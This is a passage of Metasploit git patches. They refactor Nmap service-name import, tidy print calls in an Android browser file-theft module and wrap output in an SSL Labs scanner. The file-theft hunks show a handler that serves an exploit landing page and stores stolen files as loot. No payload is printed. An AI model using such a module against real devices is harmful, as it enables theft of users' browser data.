-167,6 +167,9 @@ module Msf::DBManager::Import::Nmap if p["name"] != "unknown" data[:name] = p["name"] end + if p['tunnel'] + data[:name] = "#{p['tunnel']}/#{data['name'] || 'unknown'}" + end report_service(data) } #Parse the scripts output From 741149058cc974053b9f24847c13c583cb68efd9 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 20 Apr 2015 17:22:19 -0500 Subject: [PATCH 89/92] Report unknown service names for consistency --- lib/msf/core/db_manager/import/nmap.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb index b8024c5c17..127e0388e7 100644 --- a/lib/msf/core/db_manager/import/nmap.rb +++ b/lib/msf/core/db_manager/import/nmap.rb @@ -164,7 +164,7 @@ module Msf::DBManager::Import::Nmap data[:host] = hobj || addr data[:info] = extra if not extra.empty? data[:task] = args[:task] - if p["name"] != "unknown" + if p["name"] data[:name] = p["name"] end if p['tunnel'] From 9b240e1d8f2511bde27f933908013d532554b2e2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Mon, 20 Apr 2015 18:41:58 -0500 Subject: [PATCH 90/92] Use parenthesis --- modules/auxiliary/gather/android_browser_file_theft.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/gather/android_browser_file_theft.rb b/modules/auxiliary/gather/android_browser_file_theft.rb index 56fd61a810..f0b00f0fe1 100644 --- a/modules/auxiliary/gather/android_browser_file_theft.rb +++ b/modules/auxiliary/gather/android_browser_file_theft.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary process_post(cli, request) send_response_html(cli, '') else - print_status("Sending exploit landing page...") + print_status('Sending exploit landing page...') send_response_html(cli, exploit_html) end end @@ -66,7 +66,7 @@ class Metasploit3 < Msf::Auxiliary data = JSON.parse(request.body) contents = hex2bin(data['data']) file = File.basename(data['url']) - print_good "File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}" + print_good("File received: #{(contents.bytesize.to_f/1000).round(2)}kb #{file}") loot_path = store_loot( file, 'application/x-sqlite3', @@ -75,7 +75,7 @@ class Metasploit3 < Msf::Auxiliary File.basename(data['url']), "#{cli.peerhost.ljust(16)} Android browser file" ) - print_good "Saved to: #{loot_path}" + print_good("Saved to: #{loot_path}") end From 752c3243f6ac98d62e45da93308a96c6371f1f43 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Mon, 20 Apr 2015 21:13:43 -0500 Subject: [PATCH 91/92] wrap print* functions in report_* wrappers Preserve the semantics in the code, but don't call functions like 'print_error' unless there is an actual error running the module. Fix spelling of 'Overall'. --- modules/auxiliary/gather/ssllabs_scan.rb | 114 +++++++++++++---------- 1 file changed, 65 insertions(+), 49 deletions(-) diff --git a/modules/auxiliary/gather/ssllabs_scan.rb b/modules/auxiliary/gather/ssllabs_scan.rb index b0a4540b52..1031afbaf1 100644 --- a/modules/auxiliary/gather/ssllabs_scan.rb +++ b/modules/auxiliary/gather/ssllabs_scan.rb @@ -429,6 +429,22 @@ class Metasploit3 < Msf::Auxiliary ], self.class) end + def report_good(line) + print_good line + end + + def report_warning(line) + print_warning line + end + + def report_bad(line) + print_warning line + end + + def report_status(line) + print_status line + end + def output_endpoint_data(r) ssl_protocols = [ { id: 771, name: "TLS", version: "1.2", secure: true, active: false }, @@ -438,21 +454,21 @@ class Metasploit3 < Msf::Auxiliary { id: 2, name: "SSL", version: "2.0", secure: false, active: false } ] - print_status "-----------------------------------------------------------------" - print_status "Report for #{r.server_name} (#{r.ip_address})" - print_status "-----------------------------------------------------------------" + report_status "-----------------------------------------------------------------" + report_status "Report for #{r.server_name} (#{r.ip_address})" + report_status "-----------------------------------------------------------------" case r.grade.to_s when "A+", "A", "A-" - print_good "Overal rating: #{r.grade}" + report_good "Overall rating: #{r.grade}" when "B" - print_warning "Overal rating: #{r.grade}" + report_warning "Overall rating: #{r.grade}" when "C", "D", "E", "F" - print_error "Overal rating: #{r.grade}" + report_bad "Overall rating: #{r.grade}" when "M" - print_error "Overal rating: #{r.grade} - Certificate name mismatch" + report_bad "Overall rating: #{r.grade} - Certificate name mismatch" when "T" - print_error "Overal rating: #{r.grade} - Server's certificate is not trusted" + report_bad "Overall rating: #{r.grade} - Server's certificate is not trusted" end # Supported protocols @@ -464,34 +480,34 @@ class Metasploit3 < Msf::Auxiliary ssl_protocols.each do |proto| if proto[:active] if proto[:secure] - print_good "#{proto[:name]} #{proto[:version]} - Yes" + report_good "#{proto[:name]} #{proto[:version]} - Yes" else - print_error "#{proto[:name]} #{proto[:version]} - Yes" + report_bad "#{proto[:name]} #{proto[:version]} - Yes" end else - print_status "#{proto[:name]} #{proto[:version]} - No" + report_good "#{proto[:name]} #{proto[:version]} - No" end end # Renegotioation case when r.details.reneg_support == 0 - print_warning "Secure renegotiation is not supported" + report_warning "Secure renegotiation is not supported" when r.details.reneg_support[0] == 1 - print_error "Insecure client-initiated renegotiation is supported" + report_bad "Insecure client-initiated renegotiation is supported" when r.details.reneg_support[1] == 1 - print_good "Secure renegotiation is supported" + report_good "Secure renegotiation is supported" when r.details.reneg_support[2] == 1 - print_warning "Secure client-initiated renegotiation is supported" + report_warning "Secure client-initiated renegotiation is supported" when r.details.reneg_support[3] == 1 - print_warning "Server requires secure renegotiation support" + report_warning "Server requires secure renegotiation support" end # BEAST if r.details.vuln_beast? - print_error "BEAST attack - Yes" + report_bad "BEAST attack - Yes" else - print_good "BEAST attack - No" + report_good "BEAST attack - No" end # puts "POODLE (SSLv3)- ?" @@ -499,70 +515,70 @@ class Metasploit3 < Msf::Auxiliary # POODLE TLS case r.details.poodle_tls when -1 - print_warning "POODLE TLS - Test failed" + report_warning "POODLE TLS - Test failed" when 0 - print_warning "POODLE TLS - Unknown" + report_warning "POODLE TLS - Unknown" when 1 - print_good "POODLE TLS - No" + report_good "POODLE TLS - No" when 2 - print_error "POODLE TLS - Yes" + report_bad "POODLE TLS - Yes" end # Downgrade attack prevention if r.details.fallback_scsv? - print_good "Downgrade attack prevention - Yes" + report_good "Downgrade attack prevention - Yes" else - print_error "Downgrade attack prevention - No" + report_bad "Downgrade attack prevention - No" end # RC4 if r.details.supports_rc4? - print_warning "RC4 - Server supports at least one RC4 suite" + report_warning "RC4 - Server supports at least one RC4 suite" else - print_good "RC4 - No" + report_good "RC4 - No" end # RC4 with modern browsers - print_warning "RC4 is used with modern clients" if r.details.rc4_with_modern? + report_warning "RC4 is used with modern clients" if r.details.rc4_with_modern? # Heartbeat if r.details.heartbeat? - print_status "Heartbeat (extension) - Yes" + report_status "Heartbeat (extension) - Yes" else - print_status "Heartbeat (extension) - No" + report_status "Heartbeat (extension) - No" end # Heartbleed if r.details.heartbleed? - print_error "Heartbleed (vulnerability) - Yes" + report_bad "Heartbleed (vulnerability) - Yes" else - print_good "Heartbeat (vulnerability) - No" + report_good "Heartbeat (vulnerability) - No" end # OpenSSL CCS case r.details.open_ssl_ccs when -1 - print_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed" + report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Test failed" when 0 - print_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown" + report_warning "OpenSSL CCS vulnerability (CVE-2014-0224) - Unknown" when 1 - print_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No" + report_good "OpenSSL CCS vulnerability (CVE-2014-0224) - No" when 2 - print_error "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable" + report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Possibly vulnerable, but not exploitable" when 3 - print_error "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable" + report_bad "OpenSSL CCS vulnerability (CVE-2014-0224) - Vulnerable and exploitable" end # Forward Secrecy case when r.details.forward_secrecy == 0 - print_error "Forward Secrecy - No" + report_bad "Forward Secrecy - No" when r.details.forward_secrecy[0] == 1 - print_error "Forward Secrecy - With some browsers" + report_bad "Forward Secrecy - With some browsers" when r.details.forward_secrecy[1] == 1 - print_good "Forward Secrecy - With modern browsers" + report_good "Forward Secrecy - With modern browsers" when r.details.forward_secrecy[2] == 1 - print_good "Forward Secrecy - Yes (with most browsers)" + report_good "Forward Secrecy - Yes (with most browsers)" end # HSTS @@ -572,23 +588,23 @@ class Metasploit3 < Msf::Auxiliary str += ":max-age=#{r.details.sts_max_age}" end str += ":includeSubdomains" if r.details.sts_subdomains? - print_good str + report_good str else - print_error "Strict Transport Security (HSTS) - No" + report_bad "Strict Transport Security (HSTS) - No" end # HPKP if r.details.pkp_response_header - print_good "Public Key Pinning (HPKP) - Yes" + report_good "Public Key Pinning (HPKP) - Yes" else - print_warning "Public Key Pinning (HPKP) - No" + report_warning "Public Key Pinning (HPKP) - No" end # Compression if r.details.compression_methods == 0 - print_good "Compression - No" + report_good "Compression - No" elsif (r.details.session_tickets & 1) != 0 - print_warning "Compression - Yes (Deflate)" + report_warning "Compression - Yes (Deflate)" end # Session Resumption @@ -596,7 +612,7 @@ class Metasploit3 < Msf::Auxiliary when 0 print_status "Session resumption - No" when 1 - print_warning "Session resumption - No (IDs assigned but not accepted)" + report_warning "Session resumption - No (IDs assigned but not accepted)" when 2 print_status "Session resumption - Yes" end @@ -608,9 +624,9 @@ class Metasploit3 < Msf::Auxiliary when r.details.session_tickets[0] == 1 print_status "Session tickets - Yes" when r.details.session_tickets[1] == 1 - print_good "Session tickets - Implementation is faulty" + report_good "Session tickets - Implementation is faulty" when r.details.session_tickets[2] == 1 - print_warning "Session tickets - Server is intolerant to the extension" + report_warning "Session tickets - Server is intolerant to the extension" end # OCSP stapling From 74ad81c90c415d335d6a2542548c92eca6a250e7 Mon Sep 17 00:00:00 2001 From: William Vu Date: Mon, 20 Apr 2015 21:18:12 -0500 Subject: [PATCH 92/92] Consolidate tunnel check into name check --- lib/msf/core/db_manager/import/nmap.rb | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/lib/msf/core/db_manager/import/nmap.rb b/lib/msf/core/db_manager/import/nmap.rb index 127e0388e7..9def5e100b 100644 --- a/lib/msf/core/db_manager/import/nmap.rb +++ b/lib/msf/core/db_manager/import/nmap.rb @@ -164,12 +164,7 @@ module Msf::DBManager::Import::Nmap data[:host] = hobj || addr data[:info] = extra if not extra.empty? data[:task] = args[:task] - if p["name"] - data[:name] = p["name"] - end - if p['tunnel'] - data[:name] = "#{p['tunnel']}/#{data['name'] || 'unknown'}" - end + data[:name] = p['tunnel'] ? "#{p['tunnel']}/#{p['name'] || 'unknown'}" : p['name'] report_service(data) } #Parse the scripts output